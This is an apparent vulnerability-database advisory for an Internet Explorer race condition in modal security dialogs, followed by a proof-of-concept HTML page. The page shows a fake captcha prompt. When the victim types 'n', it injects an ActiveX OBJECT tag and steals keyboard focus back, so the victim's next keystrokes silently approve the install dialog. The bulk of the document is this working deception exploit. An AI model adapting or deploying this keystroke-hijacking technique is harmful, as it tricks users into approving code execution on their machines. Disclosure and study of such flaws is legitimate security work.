source: https://www.securityfocus.com/bid/17713/info Internet Explorer is prone to a remote code-execution vulnerability through exploiting a race-condition when displaying modal security dialog boxes. This issue may be exploited to cause users to inadvertently allow remote-code to be executed. <HEAD> <TITLE>Internet Explorer ActiveX Installation Vulnerability</TITLE> </HEAD> <BODY BGCOLOR="#FFFFFF" TEXT="#000000"> <SCRIPT> function doInstallControl() { document.body.innerHTML += "<OBJECT CLASSID=\"clsid:928626A3-6B98-11CF-90B4-00AA00A4011F\" TYPE=\"application/x-oleobject\" CODEBASE=\"http://activex.microsoft.com/activex/controls/museum/MSSurVid.cab#Version=1,2,0,7\" WIDTH=\"325\" HEIGHT=\"250\">\r\n" + "<PARAM NAME=\"SurroundRect\" VALUE=\"0,0,325,250\">\r\n" + "<PARAM NAME=\"Image\" VALUE=\"ritetree.jpg\">\r\n" + "</OBJECT>"; document.getElementById("captcha").focus(); } function doWaitEntry() { if (event.keyCode == 78 || event.keyCode == 110) { doInstallControl(); } } </SCRIPT> <FORM ACTION="" METHOD="GET"> Please enter the text you see on the left:<BR><BR> <B>on3l1y6y8y5y</B> <INPUT TYPE="text" ID="captcha" ONKEYPRESS="doWaitEntry()"> </FORM> </BODY>